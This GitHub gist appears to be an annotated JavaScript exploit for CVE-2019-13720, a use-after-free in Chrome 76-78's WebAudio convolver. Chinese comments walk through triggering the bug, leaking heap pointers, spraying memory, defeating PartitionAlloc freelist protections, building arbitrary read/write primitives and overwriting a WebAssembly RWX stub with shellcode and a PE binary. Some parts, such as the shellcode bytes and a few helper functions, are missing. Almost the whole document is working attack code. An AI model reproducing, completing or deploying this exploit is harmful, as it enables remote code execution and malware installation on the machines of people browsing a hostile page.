Skip to content

Instantly share code, notes, and snippets.

@zu1k
Created June 21, 2020 03:33
Show Gist options
  • Save zu1k/67864a2071e4b1d09a72f3b649c06d64 to your computer and use it in GitHub Desktop.
Save zu1k/67864a2071e4b1d09a72f3b649c06d64 to your computer and use it in GitHub Desktop.
CVE-2019-13720
<script>
function main() {
// 检查 chrome 版本号需要是 76-78
try {
var browserVersion = navigator.userAgent.split("Chrome/")[1].split(" Safari/")[0];
majorVersion = parseInt(browserVersion.substr(0, 2));
if (majorVersion != 77 && majorVersion != 76 && majorVersion != 78) {
return;
}
} catch (e) {
throw new Error("Unsupported browser version.");
}
// 与sleep()相似
function later(delay) {
return new Promise(resolve => setTimeout(resolve, delay))
}
var iirFilters = [];
var floatArray = new Float32Array(10);
var audioBufferArray1 = [];
var imageDataArray = [];
var audioBufferArray2 = [];
// 新字符串在x前面增加 width个0,返回 width 长度的东西,等于前面补零补满width长度
// width|x
// 00000|x
// |return
function strPadLeft(x, width) {
let pad = "0".repeat(width);
let result = pad + x;
return result.slice(result.length - width, result.length)
}
// 8个字节的整数,将字节逆转,操作的是字节
// [ a b c d ] ==> [ d c b a ]
// PartitionAlloc内存分配器具有一种特殊的漏洞利用缓解措施,
// 其工作原理如下:
// 释放内存区域时,它将字节交换指针的地址,然后将字节交换的地址添加到FreeList结构中。
// 这会使开发变得复杂,因为尝试取消引用此类指针的尝试将导致进程崩溃。
// 为了绕过该技术,漏洞利用使用以下原语,将其简单地交换回指针:
function bnReverse(u64) {
var result = BigInt(0);
var tmp = u64;
for (var i = 0; i < 8; i++) {
result = result << BigInt(8);
result += tmp & BigInt(0xFF);
tmp = tmp >> BigInt(8);
}
return result;
}
let byteSwapBigInt = bnReverse;
// https://chromium.googlesource.com/chromium/src/+/master/base/allocator/partition_allocator/partition_alloc_constants.h
// 从 分区超级页 获取 元数据基地址
function getMetadataAreaBaseFromPartitionSuperPage(addr) {
let superPageBase = getSuperPageBase(addr);
let systemPageSize = BigInt(0x1000);
return superPageBase + systemPageSize;
}
// 获取 分区页 的 元数据 的 地址
function getPartitionPageMetadataArea(addr) {
let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);
let pageMetadataSize = BigInt(0x20);
let partitionPageMetadataPtr = getMetadataAreaBaseFromPartitionSuperPage(addr) + partitionPageIndex * pageMetadataSize;
return partitionPageMetadataPtr;
}
// 64位中的低21位清零
function bnClearLow21(u64) {
var mask = (BigInt(1) << BigInt(21)) - BigInt(1); // 21位的1
var result = u64 & ~mask; // 与 21个0 进行与操作,就是将低21位清零
return result;
}
// 获取 超级页 基地址
let getSuperPageBase = bnClearLow21;
// function getSuperPageBase(addr) {
// let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
// let superPageBaseMask = ~superPageOffsetMask;
// let superPageBase = addr & superPageBaseMask;
// return superPageBase;
// }
// 组合
// u64的高43位 value左移14位 14位的0
function bnCombine(u64, value) {
var masked = bnClearLow21(u64);
var shifted = value << BigInt(14); // value左移14位,不知道能不能到21位的位置
var result = masked + shifted;
return result;
}
// 获取 超级页 里面的 分区页基地址
let getPartitionPageBaseWithinSuperPage = bnCombine;
// function getPartitionPageBaseWithinSuperPage(addr, partitionPageIndex) {
// let superPageBase = getSuperPageBase(addr);
// let partitionPageBase = partitionPageIndex << BigInt(14);
// let finalAddr = superPageBase + partitionPageBase;
// return finalAddr;
// }
// 拿到中间7位?
function bnGetMiddle(u64) {
var mask = (BigInt(1) << BigInt(21)) - BigInt(1); //21位的1
var result = (u64 & mask) >> BigInt(14); // 取低21位,然后右移14位,这样能拿到中间的7位
return result;
}
// 获取 分区页 索引
let getPartitionPageIndex = bnGetMiddle;
// function getPartitionPageIndex(addr) {
// let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
// let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);
// return partitionPageIndex;
// }
function bnToString(u64) {
var hi = (u64 & BigInt(0xFFFFFFFF00000000)) >> BigInt(32); // 得到高4个字节
var lo = u64 & BigInt(0xFFFFFFFF); // 得到低4个字节
return "0x" + strPadLeft(hi.toString(16), 8) + "`" + strPadLeft(lo.toString(16), 8);
}
// 按字节转化为char,最后拼接成字符串,只是低字节的变成了字符串高位
function bnDecodeToString(u64) {
var result = "";
for (let i = 0; i < 8; i++) {
var byte = Number(u64 & BigInt(0xFF));
if (byte != BigInt(0))
result += String.fromCharCode(byte);
u64 = u64 >> BigInt(8);
}
return result;
}
var garbageCollector = [];
//
// Exploit (I bet it should be similar to unreleased CVE-2019-5851?).
//
// 首先,代码将启动OfflineAudioContext并创建大量的IIRFilterNode对象,这些对象是通过两个float数组初始化的。
function initialSetup() {
var audioCtx = new OfflineAudioContext(1, 20, 3000);
var feedForward = new Float64Array(2);
var feedback = new Float64Array(1);
feedback[0] = 1;
feedForward[0] = 0;
feedForward[1] = -1;
for (let i = 0; i < 256; i++)
iirFilters.push(audioCtx.createIIRFilter(feedForward, feedback))
}
function sprayMemory() {
var promise = new Promise(function(cb) {
var arg;
for (let i = 0; i < 400; i++)
new ArrayBuffer(1024 * 1024 * 60).buffer; // spray 60 MBs each time
cb(arg)
});
return promise;
}
// 之后,漏洞利用开始了漏洞利用的初始阶段,并尝试触发UAF错误。
// 为此,漏洞利用程序创建了混响组件所需的对象。
// 它创建了另一个巨大的 OfflineAudioContext 对象 和 两个ConvolverNode对象
// 用于启动音频处理的 ScriptProcessorNode 和 用于音频通道的 AudioBuffer。
async function triggerUaF(doneCb) {
alert("triggerUaF");
var audioCtx = new OfflineAudioContext(2, 1024 * 1024 * 4, 48000); // 巨大的 OfflineAudioContext 对象
var scriptNode = audioCtx.createScriptProcessor(0x4000, 1, 1);
var bufferSource = audioCtx.createBufferSource();
var convolver = audioCtx.createConvolver();
var channelBuffer = audioCtx.createBuffer(1, 1, 48000);
// 两个对象的buffer用同一个channelBuffer
convolver.buffer = channelBuffer;
bufferSource.buffer = channelBuffer;
bufferSource.loop = true;
bufferSource.loopStart = 0;
bufferSource.loopEnd = 1;
// buffer的0位置置0
channelBuffer.getChannelData(0).fill(0);
bufferSource.connect(convolver);
convolver.connect(scriptNode);
scriptNode.connect(audioCtx.destination);
bufferSource.start();
var finished = false;
// 音频处理的时候开始执行
scriptNode.onaudioprocess = function(evt) {
for (let i = 0; i < 1; i++) { //函数里面没有改i的值,所以这里指挥循环一遍,取0号buffer
var channelDataArray = new Uint32Array(evt.inputBuffer.getChannelData(i).buffer);
// 遍历取出来的这个buffer
for (let j = 0; j < channelDataArray.length; j++) {
// 如果不是最后一个,并且自己和身后都不是0
if (j + 1 < channelDataArray.length && channelDataArray[j] != 0 && channelDataArray[j + 1] != 0) {
// 一个u64拆成前后两部分赋值
var u64Array = new BigUint64Array(1);
var u32Array = new Uint32Array(u64Array.buffer);
u32Array[0] = channelDataArray[j + 0];
u32Array[1] = channelDataArray[j + 1];
// 翻转一些字节,是大小端问题?
var leakedAddr = bnReverse(u64Array[0]);
// 高32位 如果大于 0x8000, 就把高32位减去 0x8000
if (leakedAddr >> BigInt(32) > BigInt(0x8000))
leakedAddr -= BigInt(0x800000000000);
var maskedAddr = bnClearLow21(leakedAddr);
// leakedAddr 要在 0x 0100 0000 - 0x FFFF FFFF
// 在执行过程中,漏洞利用程序检查音频通道缓冲区是否包含与先前设置的零不同的任何数据。
// 此类数据的存在将意味着UAF已成功触发,并且在此阶段,音频通道缓冲区应包含泄漏的指针。
var checkValue = leakedAddr < BigInt(0xFFFFFFFFFFFF) && leakedAddr > BigInt(0xFFFFFFFF);
if (checkValue) {
finished = true;
evt = null;
bufferSource.disconnect();
scriptNode.disconnect();
convolver.disconnect();
setTimeout(function() {
doneCb(leakedAddr); // 获取到地址,回传回去
}, 1);
return;
}
}
}
}
};
// end of scriptNode.onaudioprocess
audioCtx.startRendering().then(function(buffer) {
buffer = null;
if (!finished) {
finished = true;
// 递归执行
triggerUaF(doneCb);
}
});
while (!finished) {
convolver.buffer = null;
convolver.buffer = channelBuffer;
await later(1); // wait 1 second
}
// 该函数是递归执行的。
// 它用零填充音频通道缓冲区,开始离线渲染,
// 同时运行循环以使ConvolverNode对象的通道缓冲区无效并重置,并尝试触发错误。
// 该漏洞利用Later()函数模拟Sleep函数,挂起当前线程,并让Render和Audio线程按时完成执行
}
// end of triggerUaF
initialSetup();
// 该漏洞利用泄漏的指针获取SuperPage结构的地址并进行验证。
// 如果一切都按计划进行,那么它应该是指向ReverbConvolverStage类的临时缓冲区对象的原始指针,该对象将传递给回调函数triggerUaF。
triggerUaF(function(addr) {
alert('doneCb called: UaF triggered, got info leak: ' + bnToString(addr));
var audioCtx = new OfflineAudioContext(1, 1, 3000);
var offset = undefined;
switch (majorVersion) {
case 78:
offset = BigInt(-0x13);
break;
case 77:
offset = BigInt(-0x1A);
break;
case 76:
offset = BigInt(-0x19);
break;
}
// otherAddr = (addr & 0x1FFFFF) >> 14
// otherAddr += offset (offset is negative!)
// otherAddr = (addr & ~0x1FFFFF) + ((otherAddr & 0x1FFFFF) << 14)
// otherAddr |= 0xFF0
var otherAddr = bnCombine(addr, bnGetMiddle(addr) + offset) + BigInt(0xFF0);
heapSpray(bnReverse(otherAddr), async function() {
// finalUAFCallback
for (let i = 0; i < 256; i++) {
floatArray.fill(0);
iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);
if (floatArray[0] != 3.1415927410125732) {
await sprayMemory();
audioBufferArray2 = [];
for (let j = 0; j < 80; j++)
audioBufferArray1.push(audioCtx.createBuffer(1, 2, 10000));
iirFilters = new Array(1);
// 通过多次调用即兴创建的sprayMemory (collectGarbage)函数来执行堆碎片整理,该函数在循环中创建了一个巨大的ArrayBuffer。
await sprayMemory();
for (let j = 0; j < 336; j++)
imageDataArray.push(new ImageData(1, 2));
imageDataArray = new Array(30);
await sprayMemory();
for (let j = 0; j < audioBufferArray1.length; j++) {
await later(1);
var data = new BigUint64Array(audioBufferArray1[j].getChannelData(0).buffer);
// console.log(data[0]);
if (data[0] != BigInt(0)) {
alert('leaked addr #2:' + bnToString(bnReverse(data[0])));
// 在执行完这些步骤之后,漏洞利用程序执行函数kickPayload(),传递先前创建的BigUint64Array,其中包含先前释放的AudioArray数据的原始指针地址。
kickPayload(data, otherAddr);
return;
}
}
return;
}
}
});
});
// 该漏洞利用泄漏的指针获取指向带有IIRFilterNode创建的IIRProcessor对象中的AudioArray <double>类型的feedforward_数组的原始指针的地址。
// 该数组应该位于同一SuperPage中,但是在不同版本的Chrome中,此对象是在不同的PartitionPages中创建的,并且initialUAFCallback中有一个特殊的代码来处理该对象。
// 该漏洞实际上不是一次触发,而是两次触发。
// 获取正确对象的地址后,该漏洞将再次被利用。
// 这次漏洞利用使用了两个大小不同的AudioBuffer对象,并且先前检索到的地址被喷射到较大的AudioBuffer内部。
// 此函数还递归执行。
async function heapSpray(addr, doneCb) {
// alert("now heapSpray");
var counter = 0;
var numChannels = 1;
var audioCtx = new OfflineAudioContext(1, 1024 * 1024, 48000);
var bufferSource = audioCtx.createBufferSource();
var convolver = audioCtx.createConvolver();
var bigAudioBuffer = audioCtx.createBuffer(numChannels, 256, 48000);
var smallAudioBuffer = audioCtx.createBuffer(numChannels, 2, 48000);
smallAudioBuffer.getChannelData(0).fill(0);
for (let i = 0; i < numChannels; i++) {
var channelDataArray = new BigUint64Array(bigAudioBuffer.getChannelData(i).buffer);
channelDataArray[0] = addr;
}
bufferSource.buffer = bigAudioBuffer;
convolver.buffer = smallAudioBuffer;
bufferSource.loop = true;
bufferSource.loopStart = 0;
bufferSource.loopEnd = 1;
bufferSource.connect(convolver);
convolver.connect(audioCtx.destination);
bufferSource.start();
var finished = false;
audioCtx.startRendering().then(function(buffer) {
buffer = null;
if (finished) {
buffer = null;
audioCtx = null;
setTimeout(doneCb, 200);
return;
} else {
finished = true;
setTimeout(function() {
heapSpray(addr, doneCb);
}, 1);
}
});
while (!finished) {
counter++;
convolver.buffer = null;
await later(1); // wait 1 second
if (finished)
break;
for (let i = 0; i < iirFilters.length; i++) {
floatArray.fill(0);
// 这次漏洞利用功能getFrequencyResponse()来检查漏洞利用是否成功。
// 该函数创建一个由Nyquist滤波器填充的频率数组,并且该操作的源数组由零填充。
iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);
// 如果结果数组包含的值不是π ,则表示开发成功。
// 如果是这种情况,漏洞利用程序将停止其递归并执行函数finalUAFCallback以再次分配音频通道缓冲区并回收以前释放的内存。
// 此功能还通过分配大小不同的各种对象并对堆进行碎片整理来修复堆,以防止可能的崩溃。
// 该漏洞利用还会创建BigUint64Array,稍后将其用于创建任意的读/写原语。
if (floatArray[0] != 3.1415927410125732) {
finished = true;
audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));
audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));
bufferSource.disconnect();
convolver.disconnect();
return;
}
}
convolver.buffer = smallAudioBuffer;
await later(1); // wait 1 second
}
}
async function kickPayload(u64Array, t) {
alert('heap sprayed!');
alert('leaked addr #3: ' + bnToString(bnReverse(u64Array[0])));
alert('leaked addr #4: ' + bnToString(t));
// TODO: the rest...
let audioCtx = new OfflineAudioContext(1, 1, 3000);
let partitionPagePtr = getPartitionPageMetadataArea(byteSwapBigInt(auxArray[0]));
auxArray[0] = byteSwapBigInt(partitionPagePtr);
let i = 0;
do {
gcPreventer.push(new ArrayBuffer(8));
if (++i > 0x100000)
return;
} while (auxArray[0] != BigInt(0));
let freelist = new BigUint64Array(new ArrayBuffer(8));
gcPreventer.push(freelist);
// 该漏洞利用操纵释放对象的PartitionPage元数据来实现以下行为。
// 如果将另一个对象的地址写入到BigUint64Array中的索引零处,并且创建了一个新的8字节对象并且回读了位于索引0处的值,
// 则将读取位于先前设置的地址处的值。如果在此阶段在索引0处写入内容,那么该值将被写入先前设置的地址。
// .构建任意的读/写原语后,进入最后阶段-执行代码。
// 该漏洞利用一种流行的技术利用Web Assembly(WASM)功能来实现。
// Google Chrome当前为具有即时读(JIT)编译代码的页面分配页面,
// 这些页面具有读/写/执行(RWX)特权,可用于用shellcode覆盖它们。
// 最初,该漏洞利用会启动一个“虚拟” WASM模块,并导致为JIT编译代码分配内存页面。
// const wasmBuffer = new Uint8Array([...]);
// const wasmBlob = new Blob([wasmBuffer], {
// type: "application/wasm"
// });
// const wasmUrl = URL.createObjectURL(wasmBlob);
// var wasmFuncA = undefined;
// WebAssembly.instantiateStreaming(fetch(wasmUrl), {}).then(function(result) {
// wasmFuncA = result.instance.exports.a;
// });
// .为了执行导出的功能wasmFuncA,利用程序创建了FileReader对象。
// 当使用数据启动此对象时,它将在内部创建FileReaderLoader对象。
// 如果您可以解析PartitionAlloc分配器结构并知道将要分配的下一个对象的大小,
// 则可以预测它将分配给哪个地址。
// 该漏洞利用具有提供的大小的getPartitionPageFreeListHeadEntryBySlotSize()函数,
// 并获取将由FileReaderLoader分配的下一个空闲块的地址。
let fileReader = new FileReader;
let fileReaderLoaderSize = 0x140;
let fileReaderLoaderPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);
if (!fileReaderLoaderPtr)
return;
fileReader.readAsArrayBuffer(new Blob([]));
let fileReaderLoaderTestPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);
if (fileReaderLoaderPtr == fileReaderLoaderTestPtr)
return;
fileReader.onerror = wasmFuncA;
// .该漏洞利用程序两次获取该地址,以查明是否创建了FileReaderLoader对象,以及该漏洞利用程序是否可以继续执行。
// 该漏洞利用将导出的WASM函数设置为FileReader事件的回调(在本例中为onerror回调),
// 并且由于FileReader类型是从EventTargetWithInlineData派生的,
// 因此可以用来获取其所有事件的地址和JIT编译导出的WASM函数。
let fileReaderPtr = read64(freelist, fileReaderLoaderPtr + BigInt(0x10)) - BigInt(0x68);
let vectorPtr = read64(freelist, fileReaderPtr + BigInt(0x28));
let registeredEventListenerPtr = read64(freelist, vectorPtr);
let eventListenerPtr = read64(freelist, registeredEventListenerPtr);
let eventHandlerPtr = read64(freelist, eventListenerPtr + BigInt(0x8));
let jsFunctionObjPtr = read64(freelist, eventHandlerPtr + BigInt(0x8));
let jsFunctionPtr = read64(freelist, jsFunctionObjPtr) - BigInt(1);
let sharedFuncInfoPtr = read64(freelist, jsFunctionPtr + BigInt(0x18)) - BigInt(1);
let wasmExportedFunctionDataPtr = read64(freelist, sharedFuncInfoPtr + BigInt(0x8)) - BigInt(1);
let wasmInstancePtr = read64(freelist, wasmExportedFunctionDataPtr + BigInt(0x10)) - BigInt(1);
let stubAddrFieldOffset = undefined;
switch (majorVersion) {
case 77:
stubAddrFieldOffset = BigInt(0x8) * BigInt(16);
break;
case 76:
stubAddrFieldOffset = BigInt(0x8) * BigInt(17);
break
}
let stubAddr = read64(freelist, wasmInstancePtr + stubAddrFieldOffset);
//.变量stubAddr包含页面的地址,该地址带有跳转到JIT编译的WASM函数的存根代码。
// 在此阶段,用shellcode覆盖它就足够了。
// 为此,漏洞利用再次使用函数getPartitionPageFreeListHeadEntEntBySlotSize()来查找下一个0x20字节的空闲块,
// 该块为ArrayBuffer对象的结构大小。
// 当漏洞利用创建新的音频缓冲区时,将创建此对象。
let arrayBufferSize = 0x20;
let arrayBufferPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, arrayBufferSize);
if (!arrayBufferPtr)
return;
let audioBuffer = audioCtx.createBuffer(1, 0x400, 6000);
gcPreventer.push(audioBuffer);
// 该漏洞利用任意读/写原语来获取DataHolder类的地址,该类包含指向数据和音频缓冲区大小的原始指针。
// 该漏洞利用stubAddr覆盖此指针,并设置了巨大的大小。
let dataHolderPtr = read64(freelist, arrayBufferPtr + BigInt(0x8));
write64(freelist, dataHolderPtr + BigInt(0x8), stubAddr);
write64(freelist, dataHolderPtr + BigInt(0x10), BigInt(0xFFFFFFF));
//.现在,所需要做的就是将Uint8Array对象植入此音频缓冲区的内存中,
// 然后将shellcode以及将由shellcode执行的Portable Executable放置在那里。
let payloadArray = new Uint8Array(audioBuffer.getChannelData(0).buffer);
payloadArray.set(shellcode, 0);
payloadArray.set(peBinary, shellcode.length);
//.为了防止崩溃的可能性,利用程序清除了指向PartitionPage使用的FreeList结构顶部的指针
write64(freelist, partitionPagePtr, BigInt(0));
//. 现在,为了执行shellcode,调用导出的WASM函数就足够了。
try {
wasmFuncA();
} catch (e) {}
};
function read64(rwHelper, addr) {
rwHelper[0] = addr;
var tmp = new BigUint64Array;
tmp.buffer;
gcPreventer.push(tmp);
return byteSwapBigInt(rwHelper[0]);
}
function write64(rwHelper, addr, value) {
rwHelper[0] = addr;
var tmp = new BigUint64Array(1);
tmp.buffer;
tmp[0] = value;
gcPreventer.push(tmp);
}
}
main();
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment